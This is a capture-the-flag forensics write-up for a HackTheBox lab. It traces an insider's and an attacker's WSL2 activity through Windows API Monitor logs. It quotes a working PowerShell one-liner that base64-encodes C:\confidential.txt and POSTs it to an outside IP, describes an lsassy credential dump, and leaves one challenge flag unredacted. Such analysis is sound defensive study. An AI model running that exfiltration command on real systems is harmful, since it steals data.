Jugglin

Platform: HackTheBox | Type: SOC/DFIR | Difficulty: Medium | Author: D3v0o0Nu11 | Date: 2026-02-10

Scenario

Forela Corporation heavily depends on the utilisation of the Windows Subsystem for Linux (WSL), and currently, threat actors are leveraging this feature, taking advantage of its elusive nature that makes it difficult for defenders to detect. In response, the red team at Forela has executed a range of commands using WSL2 and shared API logs for analysis.

Key Questions

1. What indicators of compromise exist?
2. What attack chain / MITRE techniques were used?
3. What is the full timeline?

Investigation Timeline

Evidence Analysed

• Tools: powershell, strings.
• Artifacts: memory.

Detailed Investigation

1. In this task, we're given a .apmx64 file which we can analyze using API Monitor tool.
2. It is known that there is an insider that Forela Corporation that helps the attacker to gain access to the system.
3. Remembering Forela Corporation depends on the utilisation of WSL hence it's harder for us to detect. However the red team shared API logs for us to analyze.

1ST QUESTION --> ANS: REDACTED

1. To identify the initial command executed by the insider, we need to monitor the API logs for insider.

RESULT IN API Monitor tool.

1. Noticed, several string API function is called.

2. Reviewing each of them, found the first string function shall be our interest. Seems it used to map the UTF16 to a new character string.

3. So after WideCharToMultiByte API is called, another child API is also called --> RtlUnicodeToUTF8N. This API translate the specified Unicode string into a new string, using the UTF-8 code page.

4. Then a WriteFile API is called, it is for writes data. Specifically for both synchronous and asynchronous operation --> I/O device.

5. So following each this API call shall until it stops calling it, shall means the keystroke is stopped and the system is processing an output.

6. Long story short, following each of them shall resulting to whoami command.

7. The result can be seen at index 36.

2ND QUESTION --> ANS: REDACTED

1. Based from our previous analysis, APIs can be used to monitor the keystrokes should be WideCharToMultiByte function and RtlUnicodeToUTF8N function.
2. Previously we identified the keystroke after WideCharToMultiByte function call and if you notice, there is a child API function call named RtlUnicodeToUTF8N.

3RD QUESTION --> ANS: REDACTED

1. After the execution of whoami command, we identified that the insider is interacting with a linux distribution named kali.

4TH QUESTION --> ANS: REDACTED

1. To identify the accessed file by the insider, we can use our previous method to identify the command executed by the insider.

2. Simply follow the previous APIs used to monitor the keystrokes.

3. Based from the log at index 109, we can see that the insider traversed to /mnt/c/Users/karti/onedrive directory.

4. Then the insider reached desktop. Seems the file accessed is at the desktop.

5. Long story short, again simply by following the keystrokes we can identify that the insider executed cat flag.txt, then the content or output can be seen by checking the WriteFile module. Now we know that the insider accessed flag.txt file.

5TH QUESTION --> ANS: REDACTED

1. Based from our previous finding, it's clear the content of flag.txt is HOOK_tH1$_apI_R7lUNIcoDet0utf8N.

6TH QUESTION --> ANS: REDACTED

1. Again, using the previous method, we identified that the insider tried to exfiltrate another data from the victim machine. it's a txt file named Confidential.

 pwsh read-only • copy allowed Copy
PAYLOAD USED:

powershell.exe -c "Invoke-WebRequest -uri http://3.6.165.8/ -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(\"C:\confidential.txt\")))"

NOTES:

This command reads the contents of C:\confidential.txt, converts it to a Base64 string, and sends it via a POST
request to the specified remote server (http://3.6.165.8/). This is a common technique used by attackers to exfiltrate
sensitive data from a compromised system.

1. Based from the payload above, it's clear that the insider utilized Invoke-WebRequest module to extract data from the victim machine.

7TH QUESTION --> ANS: REDACTED

1. Based from the previous finding, MultiByteToWideChar strings function has a child API string function named RtlUTF8ToUnicodeN.

2. The child API function is used to translate the specified source string into a Unicode String. It translates the source string using the UTF8 code page.

8TH QUESTION --> ANS: REDACTED

1. After the insider tried to exfiltrate the file, it accessed it afterwards. Using the same method by following the keystrokes. The output can be seen at the WriteFile API call.

9TH QUESTION --> ANS: REDACTED

1. Now let's monitor the Attacker apxm64 file. Initial analysis, the attacker executed command whoami before lateral movement, which the output can be seen --> kali.

2. Then it tried to execute lsassy, but the binary seems not found inside the machine.

10TH QUESTION --> ANS: REDACTED

1. So the next thing he does is to download the binary to the local machine.
2. This activity can be seen at index 31 and 32.

11TH QUESTION --> ANS: REDACTED

1. Afterwards, he changed the binary permissions to be executeable by user.

2. Then the binary seems used to connect to a remote machine at 192.168.1.9 using the provided username and password, extract credentials from the lsassy process.

3. Then save the results to a file naamed keys.txt under /tmp directory.

4. Judging from this activity, seems the objective is to gain access to sensitive credential stored in memory on the target system, which can be used for further exploitation within the network.

5. The result of this activity can be seen at the WriteFile API function call. Seems the attacker obtained the hash of victim user.

12TH QUESTION --> ANS: REDACTED

1. Each time the attacker executed command inside the WSL2, the output can be seen at the WriteFile API function call. Also we use this API to identify the result of the execution.
2. Knowing this, we can conclude that WriteFile is a WIN32 API can be intercepted to monitor the behavior of the WSL2.
3. Anyway, we've investigated the case!

Findings

1. Persistence mechanism — As documented in the investigation steps.
2. Initial access — The threat actor established access via the vector described in the investigation steps.
3. Impact — Data was stolen / systems impacted as described in the investigation steps.

MITRE ATT&CK Mapping

Answers / Flags

• 1ST QUESTION --> ANS: REDACTED
• 2ND QUESTION --> ANS: REDACTED
• 3RD QUESTION --> ANS: REDACTED
• 4TH QUESTION --> ANS: REDACTED
• 5TH QUESTION --> ANS: REDACTED
• 6TH QUESTION --> ANS: REDACTED
• 7TH QUESTION --> ANS: REDACTED
• 8TH QUESTION --> ANS: REDACTED
• 9TH QUESTION --> ANS: REDACTED
• 10TH QUESTION --> ANS: REDACTED
• 11TH QUESTION --> ANS: REDACTED
• 12TH QUESTION --> ANS: REDACTED

Lessons Learned

1. Conduct Forensic Analysis for .apmx64 file.
2. Using API Monitor tool to analysis the file and intercept the function call.
3. Identify string API API function call that can be intercepted to monitor keystrokes.
4. Identify API function call that can be intercepted to monitor the behavior of WSL2.
5. Identify string API function call that can be intercepted to monitor the usage of Windows Tool via WSL.
6. Identify powershell module used to exfiltrate data from the victim machine.